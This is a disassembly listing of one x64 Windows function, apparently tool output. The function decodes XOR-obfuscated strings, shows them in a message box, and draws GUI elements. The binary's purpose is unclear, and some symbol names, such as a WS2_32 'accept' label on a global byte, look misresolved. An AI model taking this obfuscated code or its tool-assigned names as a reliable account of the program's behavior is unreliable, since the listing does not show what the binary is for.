je 0x1400829c5
xor edx, edx
xor ecx, ecx
call fcn.14006a8b0
mov dword [rbp + 0x430], 0x42480000
mov dword [rbp + 0x434], 0x43a00000
lea rcx, [rbp + 0x430]
call fcn.140025c30
movaps xmm1, xmmword [0x140147660]
mov dword [rbp + 0x4e8], 0x43700000
mov dword [rbp + 0x4ec], 0x42200000
movsd xmm0, qword [str.pPSG]
movsd qword [rbp], xmm0
movzx ecx, word [0x140144ea0]
mov word [rbp + 8], cx
movzx eax, byte [0x140144ea2]
mov byte [rbp], 0x44
xor byte [rbp + 1], 0x35
xor byte [rbp + 2], 0x36
xor byte [rbp + 3], 0x37
xor byte [rbp + 4], 0x38
xor byte [rbp + 5], 0x39
xor byte [rbp + 6], 0x3a
xor byte [rbp + 7], 0x3b
xor cl, 0x3c
mov byte [rbp + 8], cl
xor byte [rbp + 9], 0x3d
xor al, 0x3e
mov byte [rbp + 0xa], al
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401757f8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401757f0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401757e8]
xor r8d, r8d
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp]
call fcn.14003f470
test al, al
je 0x140082e41
movsd xmm0, qword [str.zZBPYZHTQQ_]
movsd qword [rbp + 0xe8], xmm0
mov eax, dword [0x140144ef0]
mov dword [rbp + 0xf0], eax
movzx eax, byte [0x140144ef4]
mov byte [rbp + 0xf4], al
mov r8d, r12d
cmp r13d, 2
jl 0x140082bf5
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.zZBPYZHTQQ_]
xorps xmm2, xmm0
movd dword [rbp + 0xe8], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xec]
xorps xmm2, xmm1
movd dword [rbp + 0xec], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xe8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140082c10
movups xmm0, xmmword [str.oqSRH]
movups xmmword [rbp + 0x8c0], xmm0
movups xmm1, xmmword [0x140144eb8]
movups xmmword [rbp + 0x8d0], xmm1
movups xmm0, xmmword [0x140144ec8]
movups xmmword [rbp + 0x8e0], xmm0
movsd xmm0, qword [0x140144ed8]
movsd qword [rbp + 0x8f0], xmm0
mov eax, dword [0x140144ee0]
mov dword [rbp + 0x8f8], eax
mov r8d, r12d
cmp r13d, 2
jl 0x140082dd9
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x8c4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140082cd0
cmp r8d, 0x3c
jge 0x140082e20
movsxd rax, r8d
lea r9, [rbp + 0x8c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140082df0
mov r9d, 0x40
lea r8, [rbp + 0xe8]
lea rdx, [rbp + 0x8c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.14006e650
movaps xmm1, xmm8
movaps xmm0, xmm12
call fcn.1400252f0
mov dword [rbp + 0x440], 0x42480000
mov dword [rbp + 0x444], 0x43b90000
lea rcx, [rbp + 0x440]
call fcn.140025c30
movaps xmm7, xmmword [0x140147660]
mov dword [rbp + 0x448], 0x43f50000
mov dword [rbp + 0x44c], 0x42200000
movups xmm0, xmmword [str.w_STS]
movups xmmword [rbp + 0x640], xmm0
mov eax, dword [0x140144f08]
mov dword [rbp + 0x650], eax
movzx eax, byte [0x140144f0c]
mov byte [rbp + 0x654], al
cmp r13d, 2
jl 0x140082ffc
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x644]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r12d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r12 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r12d, 8
mov eax, r12d
lea rcx, [rcx + 8]
cmp r12d, 0x10
jl 0x140082ef0
cmp eax, 0x15
jge 0x140083040
movsxd rax, r12d
lea r8, [rbp + 0x640]
add r8, rax
nop dword [rax]
mov eax, 0x5397829d
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r12b
sub al, cl
add al, 0x34
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x15
jl 0x140083010
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm7
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401757e0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401757d8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401757d0]
xor r8d, r8d
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x640]
call fcn.14003f470
test al, al
je 0x1400830c1
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401796ba], 0
mov byte [0x1401796bb], 1
mov rcx, r15
call fcn.140025a30
mov dword [rbp + 0x450], 0x440c0000
mov dword [rbp + 0x454], 0x40a00000
lea rcx, [rbp + 0x450]
call fcn.140025c30
movaps xmm0, xmmword [0x140147680]
movaps xmm1, xmmword [0x140147650]
mov dword [rbp + 0x458], 0x41a00000
mov dword [rbp + 0x45c], 0x41f00000
movzx eax, word [0x140144f10]
mov word [rbp - 0x7c], ax
cmp byte [0x140144f11], 0
je 0x14008312b
mov byte [rbp - 0x7c], 0x78
xor byte [rbp - 0x7b], 0x35
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x140175810]
mov qword [rsp + 0x28], rax
lea rax, [0x140175808]
mov qword [rsp + 0x20], rax
lea r9, [0x140175800]
xor r8d, r8d
lea rdx, [rbp + 0x458]
lea rcx, [rbp - 0x7c]
call fcn.14003fdb0
test al, al
je 0x14008318c
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140015af0
mov ecx, 2
call fcn.1400214d0
mov ecx, 1
call fcn.140021580
mov rcx, qword [0x1401795d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
mov dword [rbp + 0x460], 0
mov dword [rbp + 0x464], 0x43e50000
lea rcx, [rbp + 0x460]
call fcn.140025c30
movss xmm7, dword [rbx + 0x118]
movss xmm6, dword [rbx + 0x11c]
movss xmm8, dword [0x14014754c]
movss xmm9, dword [0x140101f94]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0xdd8]
call fcn.140009a30
movss xmm1, dword [rbp + 0xdd8]
addss xmm1, xmm7
movss xmm0, dword [rbp + 0xddc]
addss xmm0, xmm6
movss dword [rbp + 0xdc8], xmm7
movss dword [rbp + 0xdcc], xmm6
movss dword [rbp + 0xdd0], xmm1
movss dword [rbp + 0xdd4], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0xdd0]
lea rdx, [rbp + 0xdc8]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f700
mov qword [rbp + 0x468], 0
lea rcx, [rbp + 0x468]
call fcn.140025c30
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0xde0]
call fcn.140009a30
movss xmm1, dword [rbp + 0xde0]
addss xmm1, xmm6
movss xmm0, dword [rbp + 0xde4]
addss xmm0, xmm7
movss dword [rbp + 0xd98], xmm6
movss dword [rbp + 0xd9c], xmm7
movss dword [rbp + 0xda0], xmm1
movss dword [rbp + 0xda4], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0xda0]
lea rdx, [rbp + 0xd98]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f700
mov dword [rbp + 0x470], 0x43160000
mov dword [rbp + 0x474], 0xbf800000
lea rcx, [rbp + 0x470]
call fcn.140025c30
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm10
movaps xmm2, xmm9
movaps xmm0, xmm9
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rbp + 0xd78]
call fcn.140009a30
movss xmm1, dword [rbp + 0xd78]
addss xmm1, xmm6
movss xmm0, dword [rbp + 0xd7c]
addss xmm0, xmm7
movss dword [rbp + 0xd88], xmm6
movss dword [rbp + 0xd8c], xmm7
movss dword [rbp + 0xd90], xmm1
movss dword [rbp + 0xd94], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0xd90]
lea rdx, [rbp + 0xd88]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f700
call fcn.1400155d0
mov rcx, qword [rbp + 0xec8]
xor rcx, rsp
call fcn.1400f48c0
lea r11, [rsp + 0x1048]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3